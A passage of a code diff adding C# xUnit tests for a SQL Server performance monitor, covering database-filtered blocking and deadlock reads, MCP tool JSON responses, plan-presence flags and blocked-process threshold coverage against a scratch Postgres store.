+
+            /* The public-shaped overload (no filter) is still every database. */
+            var bare = await DarlingBlockingReader.GetRecentBlockedProcessReportsAsync(postgres, ServerId, start, now, 50, ct);
+            Assert.Equal(7, bare.Count);
+        });
+    }
+
+    [Fact]
+    public async Task BlockedProcessReportsWithXmlReader_TwoNames_ReturnsOnlyThoseDatabases_AndCapsAfterTheFilter()
+    {
+        await RunAsync(async (postgres, now, ct) =>
+        {
+            var start = now.AddHours(-1);
+
+            var all = await DarlingBlockingReader.GetRecentBlockedProcessReportsWithXmlAsync(postgres, ServerId, start, now, 50, DatabaseFilter.All, ct);
+            Assert.Equal(3, all.Count);
+
+            var chosen = await DarlingBlockingReader.GetRecentBlockedProcessReportsWithXmlAsync(postgres, ServerId, start, now, 50, DatabaseFilter.Of(["A", "B"]), ct);
+            Assert.Equal(new[] { "A", "B" }, chosen.Select(r => r.DatabaseName).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+
+            var top = await DarlingBlockingReader.GetRecentBlockedProcessReportsWithXmlAsync(postgres, ServerId, start, now, 1, DatabaseFilter.Of(["A", "B"]), ct);
+            Assert.Equal("A", top.Single().DatabaseName);
+        });
+    }
+
+    [Fact]
+    public async Task BlockingTrendReader_TwoNames_CountsOnlyThoseDatabases_OnBothArms()
+    {
+        await RunAsync(async (postgres, now, ct) =>
+        {
+            var start = now.AddHours(-1);
+
+            var all = await DarlingBlockingTrendReader.GetBlockingTrendAsync(postgres, ServerId, start, now, DatabaseFilter.All, ct);
+            /* XE has A, B and C: the DMV arm stays out because the XE source has rows. */
+            Assert.Equal(3, all.Sum(p => p.Count));
+
+            var chosen = await DarlingBlockingTrendReader.GetBlockingTrendAsync(postgres, ServerId, start, now, DatabaseFilter.Of(["A", "B"]), ct);
+            Assert.Equal(2, chosen.Sum(p => p.Count));
+
+            /* D has DMV-captured blocking only. The fallback asks whether XE has rows for the CHOSEN databases, so D charts. */
+            var dmvOnly = await DarlingBlockingTrendReader.GetBlockingTrendAsync(postgres, ServerId, start, now, DatabaseFilter.One("D"), ct);
+            Assert.Equal(1, dmvOnly.Sum(p => p.Count));
+
+            /* A set that includes a database with XE rows keeps the XE arm alone, as an unfiltered read does. */
+            var mixed = await DarlingBlockingTrendReader.GetBlockingTrendAsync(postgres, ServerId, start, now, DatabaseFilter.Of(["A", "D"]), ct);
+            Assert.Equal(1, mixed.Sum(p => p.Count));
+
+            var none = await DarlingBlockingTrendReader.GetBlockingTrendAsync(postgres, ServerId, start, now, DatabaseFilter.One("Nope"), ct);
+            Assert.Empty(none);
+
+            var bare = await DarlingBlockingTrendReader.GetBlockingTrendAsync(postgres, ServerId, start, now, ct);
+            Assert.Equal(3, bare.Sum(p => p.Count));
+        });
+    }
+
+    [Fact]
+    public async Task GetBlocking_TwoNames_ReturnsOnlyThoseDatabases_AndTheEmptyAndMissAnswersNameTheChosenDatabases()
+    {
+        await RunAsync(async (postgres, now, ct) =>
+        {
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 50, null, false, null, DatabaseFilter.Of(["A", "B"]), 150, cancellationToken: ct)))
+            {
+                var events = doc.RootElement.GetProperty("events").EnumerateArray().ToList();
+                Assert.Equal(new[] { "A", "B" }, events.Select(e => e.GetProperty("database_name").GetString()!).Distinct().OrderBy(n => n, StringComparer.Ordinal).ToArray());
+                Assert.Equal(4, events.Count);
+                Assert.False(doc.RootElement.GetProperty("truncated").GetBoolean());
+                /* #5244 L3: the page says it was filtered, in the words the other filtered tools echo. */
+                Assert.Equal("the chosen databases", doc.RootElement.GetProperty("database_name").GetString());
+            }
+
+            /* The page is the newest `limit` of the chosen databases: limit 2 of A, B leaves the other two out and says so. */
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 2, null, false, null, DatabaseFilter.Of(["A", "B"]), 150, cancellationToken: ct)))
+            {
+                Assert.Equal(2, doc.RootElement.GetProperty("events").GetArrayLength());
+                Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+                Assert.DoesNotContain(doc.RootElement.GetProperty("events").EnumerateArray(), e => e.GetProperty("database_name").GetString() == "C");
+            }
+
+            /* Empty: the status word stays, and the sentence is about the chosen databases only. */
+            var emptyOne = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 50, null, false, null, DatabaseFilter.One("Nope"), 150, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", emptyOne.GetProperty("status").GetString());
+            Assert.Contains("for the database Nope", emptyOne.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            var emptyMany = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 50, null, false, null, DatabaseFilter.Of(["Nope", "Gone"]), 150, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", emptyMany.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases", emptyMany.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.DoesNotContain("Nope", emptyMany.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* Unfiltered, the sentence is the one it always was. */
+            var emptyAll = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 50, null, false, now.AddDays(-30).ToString("o"), DatabaseFilter.All, 150, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", emptyAll.GetProperty("status").GetString());
+            Assert.Equal("No blocking events found in the specified time range.", emptyAll.GetProperty("message").GetString());
+
+            /* A dedup_key from A's incident, asked over B alone: a miss that says the scan was limited to the chosen databases. */
+            string aKey;
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 50, null, false, null, DatabaseFilter.One("A"), 150, cancellationToken: ct)))
+            {
+                aKey = doc.RootElement.GetProperty("events").EnumerateArray().First().GetProperty("dedup_key").GetString()!;
+            }
+
+            using (var hit = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 50, aKey, false, null, DatabaseFilter.One("A"), 150, cancellationToken: ct)))
+            {
+                Assert.True(hit.RootElement.GetProperty("events").GetArrayLength() >= 1);
+            }
+
+            var miss = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, 1, 50, aKey, false, null, DatabaseFilter.One("B"), 150, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", miss.GetProperty("status").GetString());
+            Assert.Contains("The scan was limited to the events for the database B", miss.GetProperty("message").GetString(), StringComparison.Ordinal);
+        });
+    }
+
+    [Fact]
+    public async Task GetBlockedProcessXml_TwoNames_ReturnsOnlyThoseDatabases_AndTheEmptyAnswerNamesTheChosenDatabases()
+    {
+        await RunAsync(async (postgres, now, ct) =>
+        {
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockedProcessXml(
+                postgres, ServerName, 1, 50, null, DatabaseFilter.Of(["A", "B"]), cancellationToken: ct)))
+            {
+                var reports = doc.RootElement.GetProperty("reports").EnumerateArray().ToList();
+                Assert.Equal(new[] { "A", "B" }, reports.Select(e => e.GetProperty("database_name").GetString()!).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+                Assert.Equal("the chosen databases", doc.RootElement.GetProperty("database_name").GetString());
+            }
+
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockedProcessXml(
+                postgres, ServerName, 1, 1, null, DatabaseFilter.Of(["A", "B"]), cancellationToken: ct)))
+            {
+                Assert.Equal("A", doc.RootElement.GetProperty("reports")[0].GetProperty("database_name").GetString());
+                Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+            }
+
+            var empty = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockedProcessXml(
+                postgres, ServerName, 1, 50, null, DatabaseFilter.Of(["Nope", "Gone"]), cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", empty.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases", empty.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            var emptyOne = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockedProcessXml(
+                postgres, ServerName, 1, 50, null, DatabaseFilter.One("Nope"), cancellationToken: ct)).RootElement;
+            Assert.Contains("for the database Nope", emptyOne.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            var emptyAll = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockedProcessXml(
+                postgres, ServerName, 1, 50, now.AddDays(-30).ToString("o"), DatabaseFilter.All, cancellationToken: ct)).RootElement;
+            Assert.Equal("No blocked process report XML available in the specified time range.", emptyAll.GetProperty("message").GetString());
+        });
+    }
+
+    [Fact]
+    public async Task GetBlockingTrend_TwoNames_CountsOnlyThoseDatabases_AndTheEmptyAnswerNamesTheChosenDatabases()
+    {
+        await RunAsync(async (postgres, now, ct) =>
+        {
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockingTrend(
+                postgres, ServerName, 1, null, DatabaseFilter.Of(["A", "B"]), ct)))
+            {
+                Assert.Equal(2, doc.RootElement.GetProperty("trend").EnumerateArray().Sum(p => p.GetProperty("count").GetInt32()));
+                Assert.Equal("the chosen databases", doc.RootElement.GetProperty("database_name").GetString());
+                /* N1: the exact tag, not just "some tag": a tool that hard-codes one source fails here. XE has rows for A and B. */
+                Assert.Equal("blocked-process-report", doc.RootElement.GetProperty("source").GetString());
+            }
+
+            /* The collectors ran (seeded below) and none of the chosen databases' blocking was in the captures: an all-clear
+               for THOSE databases, worded that way, with the status word unchanged. */
+            var one = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockingTrend(
+                postgres, ServerName, 1, null, DatabaseFilter.One("Nope"), ct)).RootElement;
+            Assert.Equal("empty", one.GetProperty("status").GetString());
+            Assert.Equal(JsonValueKind.Null, one.GetProperty("source").ValueKind);
+            Assert.Contains("for the database Nope in the last 1 hour(s)", one.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            var many = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockingTrend(
+                postgres, ServerName, 1, null, DatabaseFilter.Of(["Nope", "Gone"]), ct)).RootElement;
+            Assert.Equal("empty", many.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases in the last 1 hour(s)", many.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* A window the collectors never ran in stays "unavailable" whatever the selection (no capture is no all-clear). */
+            var gap = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockingTrend(
+                postgres, ServerName, 1, now.AddDays(-20).ToString("o"), DatabaseFilter.One("Nope"), ct)).RootElement;
+            Assert.Equal("unavailable", gap.GetProperty("status").GetString());
+        });
+    }
+
+    /// <summary>The database predicate is the list form on every statement the three reads route to (no live store needed): the XE reads at
+    /// $6 (after the window floor at $5), the DMV fallback at $5, and BOTH arms of the trend at $5 (after the floor at $4), and
+    /// none of them is spliced with a name.</summary>
+    [Fact]
+    public void EveryBlockingStatement_CarriesTheListPredicate_OnEveryArm()
+    {
+        var xe = DatabaseFilter.All.Clause("database_name", 6);
+        Assert.Contains(xe, DarlingBlockingReader.BlockedProcessReportsSql, StringComparison.Ordinal);
+        Assert.Contains(xe, DarlingBlockingReader.BlockedProcessReportsWithXmlSql, StringComparison.Ordinal);
+        Assert.Contains(DatabaseFilter.All.Clause("database_name", 5), DarlingBlockingReader.DmvBlockingSnapshotsSql, StringComparison.Ordinal);
+
+        var trend = DatabaseFilter.All.Clause("database_name", 5);
+        var first = DarlingBlockingTrendReader.BlockingTrendSql.IndexOf(trend, StringComparison.Ordinal);
+        Assert.True(first >= 0, "the XE arm of the trend");
+        Assert.True(DarlingBlockingTrendReader.BlockingTrendSql.IndexOf(trend, first + trend.Length, StringComparison.Ordinal) > first, "the DMV arm of the trend");
+    }
+
+    /// <summary>Seeds A, B and C, then runs the body. XE rows (all with a report XML), newest first: C at -5 min, A at -10, B at -11.
+    /// DMV rows, with spid pairs no XE row covers: one each for A, B and C, and a D whose only blocking is DMV-captured.</summary>
+    private static async Task RunAsync(Func<NpgsqlDataSource, DateTime, CancellationToken, Task> body)
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database, so no other class's chunks shape the store under test (#4650).
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var cs = scratch.ConnectionString;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(cs, connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+            var xe = new (string Database, int Minutes, int Spid)[] { ("C", 5, 103), ("A", 10, 101), ("B", 11, 102) };
+            foreach (var (database, minutes, spid) in xe)
+            {
+                var eventTime = DarlingMcpTestData.Naive(now.AddMinutes(-minutes));
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocked_ecid, blocking_spid, blocking_ecid, wait_time_ms, lock_mode,
+     blocked_sql_text, blocking_sql_text, blocked_process_report_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7,0,$8,0,1000,'X','SELECT 1','UPDATE t SET c = 1','<blocked-process-report/>')",
+                    CollectionIdGenerator.Next(), eventTime.AddSeconds(30), ServerId, ServerName, eventTime, database, spid, 900 + spid);
+            }
+
+            var dmv = new (string Database, int Minutes, int Spid)[] { ("C", 20, 303), ("A", 21, 301), ("B", 22, 302), ("D", 23, 304) };
+            foreach (var (database, minutes, spid) in dmv)
+            {
+                var at = DarlingMcpTestData.Naive(now.AddMinutes(-minutes));
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO dmv_blocking_snapshots
+    (collection_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms, blocking_status)
+VALUES ($1,$2,$3,$4,$2,$5,$6,60,12000,'suspended')",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, database, spid);
+            }
+
+            /* Collector runs that looked at the last hour, so an empty trend is an all-clear and not a gap. */
+            foreach (var collector in new[] { "blocked_process_report", "dmv_blocking_snapshot" })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO collection_log
+    (log_id, server_id, server_name, collector_name, collection_time,
+     duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms)
+VALUES ($1, $2, $3, $4, $5, 100, 'SUCCESS', NULL, 0, 80, 20)",
+                    CollectionIdGenerator.Next(), ServerId, ServerName, collector, DarlingMcpTestData.Naive(now.AddMinutes(-30)));
+            }
+
+            await body(postgres, now, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task PrepareStoreAsync(string connectionString, NpgsqlConnection connection, CancellationToken ct)
+    {
+        await PgMigrations.MigrateAsync(connection, ct);
+        if (await LiveTimescaleProbe.TryEnableAsync(connectionString, ct))
+        {
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await using var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection);
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM blocked_process_reports WHERE server_id = {ServerId}; DELETE FROM dmv_blocking_snapshots WHERE server_id = {ServerId}; DELETE FROM collection_log WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/BlockingListPlanFlagsLivePostgresTests.cs b/Darling/Darling.Tests/BlockingListPlanFlagsLivePostgresTests.cs
new file mode 100644
index 0000000000..af9373826c
--- /dev/null
+++ b/Darling/Darling.Tests/BlockingListPlanFlagsLivePostgresTests.cs
@@ -0,0 +1,237 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5236: the plan-presence flags on <c>get_blocking</c> and <c>get_deadlocks</c> come from one keyed statement over the PAGE's
+/// rows, not from the list read, so a compressed chunk decompresses a plan column only for the batches holding the page's own
+/// rows. The list statements must stay free of every plan column (their planner output names none), and the flags must still be
+/// right for a page whose rows carry a plan on both sides, one side, an empty string, or NULL, and must not leak onto rows
+/// past the page.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class BlockingListPlanFlagsLivePostgresTests
+{
+    private const string ServerName = "darling-list-plan-flags-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private const string Plan = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence/></ShowPlanXML>";
+
+    private const string SkipReason =
+        "Set DARLING_TEST_PG to a Postgres connection string to run the live list plan flag test (it mints its own scratch database).";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task GetBlocking_FlagsThePagesRows_ByTheirOwnStoredPlans()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database, so no other class's chunks shape the store under test (#4650).
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var cs = scratch.ConnectionString;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(cs, connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            /* The tool reads its "last N hours" window from the real clock, which the test clock override cannot move (#5608). */
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+            /* Newest first by event_time: spid 101 (both plans), 102 (blocked only), 103 (blocking only), 104 (empty strings),
+               105 (NULLs), 106 (both plans; the oldest, so a page of five leaves it out). */
+            var seeded = new (int Spid, string? Blocked, string? Blocking)[]
+            {
+                (101, Plan, Plan), (102, Plan, null), (103, null, Plan), (104, "", ""), (105, null, null), (106, Plan, Plan),
+            };
+            for (var i = 0; i < seeded.Length; i++)
+            {
+                var eventTime = now.AddMinutes(-10 - i);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocked_ecid, blocking_spid, blocking_ecid, wait_time_ms, lock_mode,
+     blocked_sql_text, blocking_sql_text, blocked_process_report_xml, blocked_query_plan_xml, blocking_query_plan_xml)
+VALUES ($1,$2,$3,$4,$5,'PlanFlagsDb',$6,0,$7,0,1000,'X','SELECT 1','UPDATE t SET c = 1','<blocked-process-report/>',$8,$9)",
+                    CollectionIdGenerator.Next(), eventTime.AddMinutes(1), ServerId, ServerName, eventTime,
+                    seeded[i].Spid, 900 + i, (object?)seeded[i].Blocked ?? DBNull.Value, (object?)seeded[i].Blocking ?? DBNull.Value);
+            }
+
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(postgres, ServerName, limit: 5)))
+            {
+                var events = doc.RootElement.GetProperty("events").EnumerateArray().ToList();
+                Assert.Equal(new[] { 101, 102, 103, 104, 105 }, events.Select(e => e.GetProperty("blocked_spid").GetInt32()).ToArray());
+                Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+
+                /* Written only when true: a row with no plan carries neither key. */
+                Assert.Equal(new[] { (true, true), (true, false), (false, true), (false, false), (false, false) },
+                    events.Select(e => (Flag(e, "has_blocked_plan"), Flag(e, "has_blocking_plan"))).ToArray());
+                Assert.False(events[3].TryGetProperty("has_blocked_plan", out _));
+                Assert.False(events[4].TryGetProperty("has_blocking_plan", out _));
+            }
+
+            /* A page of two: the flags are for those two rows, and the rest of the window is not read for them. */
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(postgres, ServerName, limit: 2)))
+            {
+                var events = doc.RootElement.GetProperty("events").EnumerateArray().ToList();
+                Assert.Equal(2, events.Count);
+                Assert.Equal(new[] { (true, true), (true, false) },
+                    events.Select(e => (Flag(e, "has_blocked_plan"), Flag(e, "has_blocking_plan"))).ToArray());
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task GetDeadlocks_FlagsThePagesRows_ByTheirOwnStoredPlans()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database, so no other class's chunks shape the store under test (#4650).
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var cs = scratch.ConnectionString;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(cs, connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            /* The tool reads its "last N hours" window from the real clock, which the test clock override cannot move (#5608). */
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+            /* Newest first by deadlock_time: a plan, an empty string, NULL, and an older plan the page of three leaves out. */
+            var seeded = new (string Victim, string? Plan)[] { ("processA", Plan), ("processB", ""), ("processC", null), ("processD", Plan) };
+            for (var i = 0; i < seeded.Length; i++)
+            {
+                var deadlockTime = now.AddMinutes(-10 - i);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO deadlocks
+    (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml, victim_query_plan_xml, database_name)
+VALUES ($1,$2,$3,$4,$5,$6,'UPDATE t SET c = 1','<deadlock/>',$7,'PlanFlagsDb')",
+                    CollectionIdGenerator.Next(), deadlockTime.AddMinutes(1), ServerId, ServerName, deadlockTime,
+                    seeded[i].Victim, (object?)seeded[i].Plan ?? DBNull.Value);
+            }
+
+            using (var doc = JsonDocument.Parse(await DarlingMcpBlockingTools.GetDeadlocks(postgres, ServerName, limit: 3)))
+            {
+                var rows = doc.RootElement.GetProperty("deadlocks").EnumerateArray().ToList();
+                Assert.Equal(new[] { "processA", "processB", "processC" }, rows.Select(r => r.GetProperty("victim_process_id").GetString()).ToArray());
+                Assert.Equal(new[] { true, false, false }, rows.Select(r => Flag(r, "has_victim_plan")).ToArray());
+                Assert.False(rows[1].TryGetProperty("has_victim_plan", out _));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>The planner's own output for each list statement names no plan column, on the store as it is built here (a
+    /// hypertable where TimescaleDB is present). A flag computed in the list is what put the plan text through its sorts.</summary>
+    [Fact]
+    public async Task TheListStatements_PlannerOutput_NamesNoPlanColumn()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database, so no other class's chunks shape the plan under test (#4650).
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var cs = scratch.ConnectionString;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(cs, connection, ct);
+
+        var now = LiveClock.Now();
+        foreach (var sql in new[]
+        {
+            DarlingBlockingReader.BlockedProcessReportsSql,
+            DarlingBlockingReader.BlockedProcessReportsWithXmlSql,
+            DarlingBlockingReader.RecentDeadlocksSql,
+            DarlingBlockingReader.RecentDeadlocksWithGraphSql,
+        })
+        {
+            using var explain = new NpgsqlCommand("EXPLAIN (VERBOSE, COSTS OFF) " + sql, connection);
+            DarlingMcpReadParameters.AddWindow(explain, ServerId, now.AddHours(-24), now);
+            DarlingMcpReadParameters.AddInt(explain, 21);
+            DarlingMcpReadParameters.AddTimestamp(explain, EventWindowFloor.For(now.AddHours(-24)));
+            /* #5244: the blocked-process reads carry the database filter at $6 (the deadlock reads have none). */
+            if (sql.Contains("$6", StringComparison.Ordinal))
+                explain.Parameters.Add(DatabaseFilter.All.Parameter());
+            var lines = new List<string>();
+            await using (var reader = await explain.ExecuteReaderAsync(ct))
+            {
+                while (await reader.ReadAsync(ct))
+                {
+                    lines.Add(reader.GetString(0));
+                }
+            }
+
+            Assert.DoesNotContain(lines, line => line.Contains("query_plan_xml", StringComparison.Ordinal));
+        }
+    }
+
+    /// <summary>The store the way the service builds it: migrated, with hypertables where TimescaleDB is present (the probe
+    /// runs on its own connection, #1922), and no background policy job reshaping chunks under the assertions.</summary>
+    private static async Task PrepareStoreAsync(string connectionString, NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        await PgMigrations.MigrateAsync(connection, ct);
+        if (await LiveTimescaleProbe.TryEnableAsync(connectionString, ct))
+        {
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await using var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection);
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+    }
+
+    private static bool Flag(JsonElement row, string name) =>
+        row.TryGetProperty(name, out var value) && value.ValueKind == JsonValueKind.True;
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM blocked_process_reports WHERE server_id = {ServerId}; DELETE FROM deadlocks WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/BlockingThresholdCoverageTests.cs b/Darling/Darling.Tests/BlockingThresholdCoverageTests.cs
new file mode 100644
index 0000000000..015d19127d
--- /dev/null
+++ b/Darling/Darling.Tests/BlockingThresholdCoverageTests.cs
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The shared rule that moves the Blocking charts' data start to where the blocked process threshold went on (#5098).</summary>
+public sealed class BlockingThresholdCoverageTests
+{
+    private static readonly DateTime End = new(2026, 10, 1, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime Start = End.AddDays(-7);
+
+    [Fact]
+    public void ThresholdOnAtTheStart_KeepsTheCollectorsCoverage()
+    {
+        Assert.Equal(Start, BlockingThresholdCoverage.Combine(Start, End.AddDays(-1), onAtWindowStart: true, End.AddDays(-4), sawZeroSnapshot: true));
+    }
+
+    [Fact]
+    public void ThresholdOnAtTheStart_StillTakesAnEarlierReport()
+    {
+        var report = End.AddDays(-8);
+        Assert.Equal(report, BlockingThresholdCoverage.Combine(Start, report, true, null, false));
+    }
+
+    [Fact]
+    public void FirstNonzeroSnapshotInTheWindow_LaterThanCoverage_IsTheAnswer()
+    {
+        Assert.Equal(End.AddDays(-4), BlockingThresholdCoverage.Combine(Start, End.AddDays(-3), false, End.AddDays(-4), true));
+    }
+
+    [Fact]
+    public void AReportBeforeTheFirstNonzeroSnapshot_IsTheAnswer()
+    {
+        var report = End.AddDays(-4).AddHours(-12);
+        Assert.Equal(report, BlockingThresholdCoverage.Combine(Start, report, false, End.AddDays(-4), true));
+    }
+
+    [Fact]
+    public void CoverageLaterThanTheSnapshot_StaysTheCoverage()
+    {
+        var coverage = End.AddDays(-2);
+        Assert.Equal(coverage, BlockingThresholdCoverage.Combine(coverage, End.AddDays(-1), false, End.AddDays(-4), true));
+    }
+
+    [Fact]
+    public void OnlyZeroSnapshots_StartAtTheEarliestReport()
+    {
+        var report = End.AddDays(-1);
+        Assert.Equal(report, BlockingThresholdCoverage.Combine(Start, report, false, null, true));
+    }
+
+    [Fact]
+    public void NoThresholdSnapshots_KeepTodaysAnswer()
+    {
+        Assert.Equal(Start, BlockingThresholdCoverage.Combine(Start, End.AddDays(-1), false, null, false));
